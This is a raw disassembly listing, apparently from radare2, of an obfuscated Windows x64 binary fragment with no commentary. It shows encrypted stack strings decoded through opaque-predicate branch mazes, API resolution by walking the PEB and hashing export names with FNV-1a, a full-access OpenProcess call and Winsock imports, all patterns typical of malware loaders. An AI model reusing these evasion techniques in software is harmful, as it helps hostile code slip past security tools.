lea rax, [r10 + 9]
cmp rbx, rax
jne 0x140136ee1
lea edx, [r9 + 0x1c]
mov ecx, r15d
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14013743a
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401371cb
mov dl, r9b
sub dl, r13b
mov ecx, Ordinal_41
jmp 0x1401371a0
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401371e2
lea edx, [r9 + 0x18]
mov ecx, Ordinal_46
jmp 0x140136e2b
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1401371f6
lea edx, [r9 - 0x58]
mov ecx, 0x34
jmp 0x140137177
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140136f11
lea edx, [r9 - 0x10]
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14013736b
mov r11b, r9b
lea edx, [r11 - 0x60]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x60
add dil, r8b
add dil, dl
jmp 0x140137349
mov dl, r9b
lea ecx, [rdx - 0x18]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [rcx - 0x58]
jmp 0x1401373c9
movabs rax, 0x9f1dbe29074ff77c
add rax, r9
and r8b, al
add r8b, r8b
sub al, r8b
lea edi, [r11 + rax]
sub dil, 0x64
jmp 0x14013743a
movabs rax, 0xc1b6b498decd82a4
add rax, r9
and r8b, al
add r8b, r8b
sub al, r8b
lea edi, [r11 + rax]
sub dil, 0x7c
jmp 0x14013738f
movabs rax, 0xcd3f06be26a2065c
add rax, r9
and r8b, al
mov ecx, 0x3e
sub cl, r8b
lea edi, [rcx + rcx]
add dil, al
add dil, r11b
jmp 0x14013736b
movabs rax, 0xfb604f5345f4153c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
jmp 0x1401372e7
movabs rax, 0x1270f39dd59d1cac
mov ecx, Ordinal_41
add rax, r9
and r8b, al
sub cl, r8b
lea edi, [rcx + rcx]
add dil, al
mov r8b, r11b
add dil, r11b
lea ecx, [r9 + 0x7c]
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x64
add cl, r8b
mov byte [rbp + r9 + 0x120], cl
inc r10
dec r9
jmp 0x140137449
movabs rcx, 0x3509ea0dad1aa7d4
add rcx, r9
and r8b, cl
mov eax, reloc.WLDAP32.dll_Ordinal_26
sub al, r8b
lea edi, [rax + rax]
add dil, r11b
add dil, cl
mov r8b, r11b
mov r11b, r9b
sub r11b, 0x3c
mov al, r11b
and al, r8b
add al, al
mov cl, dil
sub cl, al
sub cl, 0x5c
add cl, r11b
add cl, r8b
mov byte [rbp + r9 + 0x120], cl
add rbx, r10
jmp 0x14013738f
movabs rcx, 0x4c1a8e583cc3af44
add rcx, r9
and r8b, cl
mov eax, r12d
sub al, r8b
lea edi, [rax + rax]
add dil, r11b
add dil, cl
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140137449
movabs rcx, 0x57a2e07d849832fc
add rcx, r9
and r8b, cl
mov eax, reloc.WS2_32.dll_ntohl
sub al, r8b
lea edi, [rax + rax]
add dil, r11b
add dil, cl
mov r8b, r11b
mov dl, r9b
add dl, 0xc
mov al, dl
and al, r8b
add al, al
sub dl, al
sub dl, 0x54
add dl, r8b
movzx eax, dl
mov byte [rbp + r9 + 0x120], al
inc r10
add rax, r10
sub r9, rax
lea ecx, [r9 + r13]
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x50
add cl, r8b
mov byte [rbp + r9 + 0x120], cl
inc rbx
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x14013743a
movabs rcx, 0x6eb384c814413a6c
add rcx, r9
and r8b, cl
mov eax, 6
sub al, r8b
lea edi, [rax + rax]
add dil, r11b
add dil, cl
movzx eax, byte [rbp + r9 + 0x120]
add rax, r10
add r9, rax
inc r9
jmp 0x140136a5a
sub r9b, 0x4c
mov al, r8b
and al, r9b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, r9b
jmp 0x140136a57
add r9b, r14b
mov al, r8b
and al, r9b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, r9b
jmp 0x140136a47
lea rdx, [rbp + 0x15bc150]
jmp 0x1401374a7
lea rdx, [rbp + 0x1317f74]
jmp 0x1401374a7
lea rdx, [rbp + 0x120]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x1e]
lea rcx, [rbp + 0x230]
call fcn.14009b130
nop
mov r8, qword [0x140319788]
mov rdx, qword [0x140319780]
sub r8, rdx
lea rcx, [rbp + 0x230]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x238]
call fcn.14009c0d0
test rax, rax
jne 0x140137517
mov rax, qword [rbp + 0x230]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x230]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
call fcn.1400829a0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x140319758], eax
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x140319750], rax
mov ebx, 0x31a98fee
mov dword [rsp + 0x44], ebx
mov r13d, 0xcded1a85
mov dword [rsp + 0x48], r13d
mov r12d, 0xf84eee59
mov dword [rsp + 0x4c], r12d
mov dword [rsp + 0x50], 0xb3002016
mov dword [rsp + 0x54], 0x2fd4df39
mov dword [rsp + 0x58], 0xe80fd3a
mov dword [rsp + 0x5c], 0xa52bcaf9
mov dword [rsp + 0x60], 0x820621f3
mov dword [rsp + 0x64], 0x33b00bc5
cmp rax, 0xffffffffffffffff
jne 0x140139872
mov r13, qword [0x140319e18]
test r13, r13
jne 0x14013770d
xor r14d, r14d
mov r15d, ebx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rsi, r12
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test r14d, r14d
je 0x14013760e
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140137600
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401375f1
cmp edx, r14d
jne 0x1401376e4
mov r8, qword [rsi + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov rax, qword [rax + r8 + 0x88]
mov r9d, eax
add r9, r8
shr rax, 0x20
cmp r9, r8
je 0x1401376e4
mov r10d, dword [r9 + 0x18]
test r10d, r10d
je 0x1401376e4
mov edi, dword [r9 + 0x20]
dec r10d
lea rcx, [r8 + r10*4]
mov edx, dword [rcx + rdi]
add rdx, r8
mov r11d, 0x811c9dc5
jmp 0x140137664
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x140137657
cmp r11d, r15d
je 0x140137679
test r10d, r10d
jne 0x140137642
jmp 0x1401376e4
mov edx, dword [r9 + 0x1c]
add rdx, r8
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx ecx, word [rcx + r10*2]
mov r13d, dword [rdx + rcx*4]
add r13, r8
cmp r13, r9
jbe 0x1401376fd
lea rcx, [rax + r9]
cmp r13, rcx
jae 0x1401376fd
mov eax, 0x811c9dc5
mov r14d, eax
mov r15d, eax
jmp 0x1401376be
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r13
mov al, byte [r13]
cmp al, 0x2e
jne 0x1401376ae
jmp 0x1401376d5
movsx eax, al
xor eax, r15d
imul r15d, eax, 0x1000193
inc r13
mov al, byte [r13]
test al, al
jne 0x1401376c8
mov rsi, qword [r12]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x1401376fa
cmp qword [rax + 0x30], 0
jne 0x1401375c5
xor r13d, r13d
mov qword [0x140319e18], r13
mov r12d, 0xf84eee59
mov r14b, 0x6c
mov byte [rbp + 0x160], 0x65
mov byte [rbp + 0x161], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x162], 0x56
mov byte [rbp + 0x163], 0xdb
mov byte [rbp + 0x164], Ordinal_79
mov byte [rbp + 0x165], Ordinal_217
mov byte [rbp + 0x166], Ordinal_79
mov byte [rbp + 0x167], Ordinal_217
mov byte [rbp + 0x168], 0x42
mov byte [rbp + 0x169], Ordinal_211
mov byte [rbp + 0x16a], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x16b], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x16c], 0xcc
mov byte [rbp + 0x16d], Ordinal_211
xor eax, eax
mov qword [rbp + 0x16e], rax
mov word [rbp + 0x176], ax
mov bl, byte [rsp + 0x40]
call fcn.1400a1a30
mov rdi, qword [rax]
call fcn.1400a1a40
mov r10, qword [rax]
xor esi, esi
cmp rsi, 0x18
jae 0x140138153
movzx r9d, byte [rbp + rsi + 0x160]
mov edx, r9d
mov r8b, sil
mov r11b, r8b
cmp rdi, rsi
ja 0x14013814a
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x1401377e5
movabs rcx, 0x7ee61732da7698a4
add rcx, rsi
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
sub bl, 0x7c
jmp 0x140137812
je 0x1401380da
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401380b2
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14013807a
lea rax, [r10 + 6]
cmp rdi, rax
je 0x140138059
mov r8b, sil
mov r15d, reloc.WLDAP32.dll_Ordinal_60
cmp r10, rsi
ja 0x140138141
lea rcx, [r10 + 2]
cmp rdi, rcx
jae 0x140137843
lea ecx, [r8 + 0x74]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x2c
jmp 0x140137873
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140138023
cmp rdi, rcx
je 0x14013800b
lea rax, [r10 + 4]
cmp rdi, rax
je 0x140137ff0
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140137fd1
lea rax, [r10 + rdi]
cmp rax, rsi
jbe 0x140137d35
lea rcx, [r10 + 0x61]
cmp rdi, rcx
je 0x140137d1c
lea rax, [r10 + 8]
cmp rdi, rax
je 0x140137d01
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x140137ce6
lea rax, [r10 + 4]
cmp rdi, rax
je 0x140137dcc
lea rax, [r10 + 6]
cmp rdi, rax
je 0x140137ccb
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x140137cb0
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140137c97
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x140137c7c
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x140137c61
lea rax, [r10 + 0x20]
cmp rdi, rax
je 0x140137880
mov rdi, rcx
lea r10, [rcx + 0x7a]
lea rcx, [r10 + 8]
cmp rdi, rcx
jb 0x140138126
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jb 0x14013810b
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x140137a69
lea rax, [r10 + 0x64]
cmp rdi, rax
jb 0x140137a4e
lea rax, [r10 + 1]
cmp rdi, rax
jb 0x140137a35
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x140137c15
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x140137bc9
lea rax, [r10 + 0xa]
cmp rdi, rax
jb 0x140137b90
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x140137b6e
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x140137880
mov rdi, rcx
lea r10, [rcx + 0x200]
lea rax, [r10 + 0x3e8]
cmp rcx, rax
ja 0x140137b4f
lea rax, [r10 + 4]
cmp rcx, rax
ja 0x140137b30
lea rax, [r10 + 0x64]
cmp rcx, rax
ja 0x140137b13
lea rax, [r10 + 1]
cmp rcx, rax
ja 0x140137b07
lea rax, [r10 + 0x28]
cmp rcx, rax
ja 0x140137aec
lea rax, [r10 + 0x41]
cmp rcx, rax
ja 0x140137ad1
lea rax, [r10 + 0xa]
cmp rcx, rax
ja 0x140137ab6
lea rax, [r10 + 0x1000]
cmp rcx, rax
ja 0x140137a9b
lea rax, [r10 + 6]
cmp rcx, rax
ja 0x140137a82
lea rax, [r10 + 0x200]
cmp rcx, rax
ja 0x140137880
lea rdi, [r10 + 2]
lea r10, [rdi + 3]
jmp 0x140137880
lea ecx, [r8 + 0xc]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x54
jmp 0x140137873
mov cl, r8b
sub cl, r15b
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x5c
jmp 0x14013781b
lea ecx, [r8 + 0x7c]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x64
jmp 0x1401377ae
lea ecx, [r8 - 0x60]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x60
jmp 0x140138037
add r8b, 0x58
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x68
jmp 0x14013806f
add r8b, 0x10
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x70
jmp 0x140138072
sub r8b, 0x38
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x78
jmp 0x14013808e
add r8b, 0x80
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
add bl, 0x80
jmp 0x1401380c8
add r8b, 0x38
mov ecx, r15d
jmp 0x140137fda
lea edx, [r8 - 0x10]
mov al, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140137f77
sub r8b, 0x58
mov al, r8b
and al, r9b
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x140137fa3
add r8b, 0x60
mov ecx, Ordinal_50
mov al, r8b
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x1401380f5
add r8b, 0x2c
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x34
mov byte [rbp + rsi + 0x160], bl
jmp 0x140138103
lea ecx, [r8 - 0x1c]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r15b
cmp r10, 2
jb 0x140137b84
lea ecx, [r8 + 0x58]
mov al, cl
and al, r9b
mov edx, ntohl
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea ebx, [rdx + rdx]
jmp 0x140138037
lea ecx, [r8 - 0x64]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x44
mov eax, 8
cmp rdi, rax
jae 0x140137f48
lea rax, [r10 + 0x200]
cmp rdi, rax
jbe 0x140137ec4
lea edx, [r8 - 0x78]
mov al, dl
and al, r9b
mov ecx, 0x24
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140137ba4
lea ecx, [r8 + 0x54]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x4c
lea rax, [r10 + rdi]
cmp rax, 0x61
je 0x140137f67
lea rax, [r10 + 0x7a]
cmp rdi, rax
jbe 0x140137e0d
lea edx, [r8 + 0x14]
mov al, dl
and al, r9b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140137bdd
sub r8b, 0x48
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 8
jmp 0x1401380f5
add r8b, 0x70
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x10
jmp 0x140137fa3
lea ecx, [r8 + 0x28]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x18
jmp 0x140137f77
sub r8b, 0x20
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x20
jmp 0x1401380cb
sub r8b, 0x68
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x28
jmp 0x1401380c8
add r8b, 8
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x38
jmp 0x140138072
sub r8b, 0x40
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x40
jmp 0x14013806f
lea ecx, [r8 + 0x78]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x48
jmp 0x140138037
lea rax, [r10 + 0x28]
cmp rdi, rax
jae 0x140137d57
lea ecx, [r8 - 0x5c]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7c
jmp 0x140137c29
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140137d7b
sub r8b, 0x18
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x58
jmp 0x1401380f5
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140137d9f
add r8b, 0x30
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x50
jmp 0x140137fa3
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140137dc3
add r8b, 8
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x38
jmp 0x1401380c8
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140137de7
add r8b, 0x50
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x30
jmp 0x14013808e
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x140137c29
lea ecx, [r8 + 0x28]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x18
jmp 0x140138037
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140137e33
lea edx, [r8 + 0x5c]
mov al, dl
and al, r9b
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140138037
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140137e57
sub r8b, 0x14
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x74
jmp 0x140138072
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140137e7a
sub r8b, r15b
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x5c
jmp 0x1401380cb
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x140137e9c
lea ecx, [r8 + 0xc]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x54
jmp 0x140137f77
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x140137bdd
sub r8b, 0x64
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x44
jmp 0x1401380f5
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140137edb
sub r8b, 0x30
mov ecx, Ordinal_41
jmp 0x140137b58
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140137f03
sub r8b, 0x10
mov al, r8b
and al, r9b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x1401380c8
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140137f20
add r8b, 0x38
mov al, r8b
and al, r9b
mov ecx, r15d
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x140137f5c
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x140137ba4
sub r8b, 0x38
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x78
jmp 0x14013806f
sub r8b, 0x60
mov al, r8b
and al, r9b
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x60
add bl, r8b
add bl, r9b
jmp 0x14013808e
lea ecx, [r8 - 0x18]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [rcx - 0x58]
sub r8b, 0x74
mov al, r8b
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
add cl, cl
add cl, r8b
add cl, r9b
movzx eax, cl
mov byte [rbp + rsi + 0x160], al
inc r10
add rax, r10
sub rsi, rax
lea ecx, [rsi + 0x30]
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x50
add r9b, cl
mov byte [rbp + rsi + 0x160], r9b
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add rsi, rax
jmp 0x1401380f5
add r8b, 0x24
mov ecx, 2
mov al, r8b
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x1401380cb
sub r8b, 0x24
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 4
jmp 0x1401380c8
add r8b, 0x4c
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x14
jmp 0x140138072
lea ecx, [r8 - 0x44]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x24
sub r8b, 4
mov al, r9b
and al, r8b
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
add cl, cl
add cl, r9b
add cl, r8b
mov byte [rbp + rsi + 0x160], cl
jmp 0x14013806f
sub r11b, 0x1c
mov al, r11b
and al, r9b
add al, al
sub r11b, al
lea ebx, [r9 + r11]
sub bl, 0x3c
inc r10
dec rsi
jmp 0x140138103
lea ecx, [r11 + 0x54]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x4c
add r11b, 0x44
mov al, r9b
and al, r11b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, r9b
add cl, bl
add cl, r11b
mov byte [rbp + rsi + 0x160], cl
jmp 0x1401380c8
add r11b, 0xc
mov al, r11b
and al, r9b
add al, al
sub r11b, al
lea ebx, [r9 + r11]
sub bl, 0x54
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add rsi, rcx
jmp 0x140138103
movabs rax, 0x7cb245988f63c9ec
add rax, rsi
and dl, al
add dl, dl
sub r9b, dl
lea ebx, [rax + r9]
sub bl, 0x74
movzx eax, byte [rbp + rsi + 0x160]
add rax, r10
add rsi, rax
inc rsi
jmp 0x140137795
add r8b, 0x34
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, r14b
jmp 0x140137793
sub r8b, 0x14
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x74
jmp 0x140137783
lea rsi, [rbp + 0x16e8f90]
jmp 0x14013815a
lea rsi, [rbp + 0x1652834]
jmp 0x14013815a
lea rsi, [rbp + 0x160]
mov byte [rbp - 0x20], __WSAFDIsSet
mov byte [rbp - 0x1f], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp - 0x1e], 0xa6
mov byte [rbp - 0x1d], 0xdb
mov byte [rbp - 0x1c], Ordinal_143
mov byte [rbp - 0x1b], 0xe5
mov byte [rbp - 0x1a], 0x8b
mov byte [rbp - 0x19], 0xe7
mov byte [rbp - 0x18], 0x92
mov byte [rbp - 0x17], 0xe1
mov byte [rbp - 0x16], 0x83
mov byte [rbp - 0x15], 0xe3
mov byte [rbp - 0x14], 0xcc
mov byte [rbp - 0x13], 0xed
mov byte [rbp - 0x12], 0xbe
mov byte [rbp - 0x11], 0xef
mov byte [rbp - 0x10], 0x9a
mov byte [rbp - 0xf], 0xe9
mov byte [rbp - 0xe], 0x9d
mov byte [rbp - 0xd], 0xeb
mov byte [rbp - 0xc], 0x88
mov byte [rbp - 0xb], 0xf5
mov byte [rbp - 0xa], 0x9b
mov byte [rbp - 9], 0xf7
mov byte [rbp - 8], 0x93
mov byte [rbp - 7], 0xf1
mov byte [rbp - 6], Ordinal_143
mov byte [rbp - 5], 0xf3
mov byte [rbp - 4], __WSAFDIsSet
mov byte [rbp - 3], 0xfd
mov byte [rbp - 2], 0x89
mov byte [rbp - 1], 0xff
mov byte [rbp], Ordinal_143
mov byte [rbp + 1], 0xf9
mov byte [rbp + 2], 0xda
mov byte [rbp + 3], 0xfb
mov byte [rbp + 4], Ordinal_50
mov byte [rbp + 5], 5
mov byte [rbp + 6], Ordinal_41
mov byte [rbp + 7], 7
mov byte [rbp + 8], 0x5b
mov byte [rbp + 9], 1
mov byte [rbp + 0xa], Ordinal_35
mov byte [rbp + 0xb], 3
mov byte [rbp + 0xc], 0x41
mov byte [rbp + reloc.WS2_32.dll_listen], 0xd
mov byte [rbp + 0xe], 0x7c
mov byte [rbp + reloc.WS2_32.dll_ntohs], 0xf
mov byte [rbp + 0x10], 0x7a
mov byte [rbp + 0x11], 9
mov byte [rbp + 0x12], 0x7d
mov byte [rbp + 0x13], ntohl
mov byte [rbp + 0x14], 0x66
mov byte [rbp + reloc.WS2_32.dll_setsockopt], 0x15
mov byte [rbp + 0x16], gethostname
mov byte [rbp + reloc.WS2_32.dll_socket], 0x17
mov byte [rbp + 0x18], 0x5d
mov byte [rbp + 0x19], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x1a], 0x66
mov byte [rbp + 0x1b], reloc.WS2_32.dll_send
mov byte [rbp + 0x1c], WSAStartup
mov byte [rbp + Ordinal_30], 0x1d
mov r15b, 0x60
mov byte [rbp + 0x1e], r15b
mov byte [rbp + Ordinal_33], 0x1f
mov byte [rbp + 0x20], 0x79
mov byte [rbp + 0x21], Ordinal_27
mov byte [rbp + 0x22], 0x66
mov byte [rbp + 0x23], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x24], Ordinal_79
mov byte [rbp + 0x25], 0x25
mov byte [rbp + 0x26], 0x50
mov byte [rbp + Ordinal_41], 0x27
mov byte [rbp + 0x28], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x29], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x2a], 2
mov byte [rbp + 0x2b], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x2c], 0x78
mov byte [rbp + reloc.WLDAP32.dll_Ordinal_45], 0x2d
mov byte [rbp + 0x2e], 0x59
mov byte [rbp + Ordinal_50], 0x2f
mov byte [rbp + 0x30], 0x49
mov byte [rbp + 0x31], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x32], 0x46
mov byte [rbp + 0x33], Ordinal_46
mov byte [rbp + 0x34], 0x59
mov byte [rbp + 0x35], 0x35
mov byte [rbp + 0x36], 0x44
mov byte [rbp + gethostname], 0x37
mov byte [rbp + 0x38], reloc.WS2_32.dll_recv
mov byte [rbp + 0x39], Ordinal_50
mov byte [rbp + 0x3a], 0x57
mov byte [rbp + 0x3b], 0x33
mov byte [rbp + reloc.WLDAP32.dll_Ordinal_60], 0x3c
mov byte [rbp + 0x3d], 0x3d
xor eax, eax
mov dword [rbp + 0x3e], eax
mov word [rbp + 0x42], ax
mov byte [rbp + 0x44], al
mov bl, byte [rsp + 0x40]
call fcn.1400a1a30
mov rdi, qword [rax]
call fcn.1400a1a40
mov r10, qword [rax]
xor r11d, r11d
cmp r11, 0x65
jae 0x140138be1
movzx r9d, byte [rbp + r11 - 0x20]
mov edx, r9d
cmp rdi, r11
ja 0x140138bd8
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14013833f
movabs rcx, 0x75bab36710f34cdc
add rcx, r11
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
sub bl, 4
jmp 0x140138379
je 0x140138b6b
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140138af8
lea rax, [r10 + 4]
cmp rdi, rax
je 0x140138acb
lea rax, [r10 + 6]
cmp rdi, rax
je 0x140138aaf
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140138a96
mov r8b, r11b
cmp r10, r11
ja 0x140138bcf
lea rax, [r10 + 8]
cmp rdi, rax
jae 0x1401383a4
lea ecx, [r8 + 0xc]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x54
jmp 0x1401383cb
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140138a62
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140138a26
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140138a09
lea rax, [rdi + r10]
cmp rax, r11
jbe 0x1401387ef
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401387e1
lea rax, [r10 + 0x10]
cmp rdi, rax
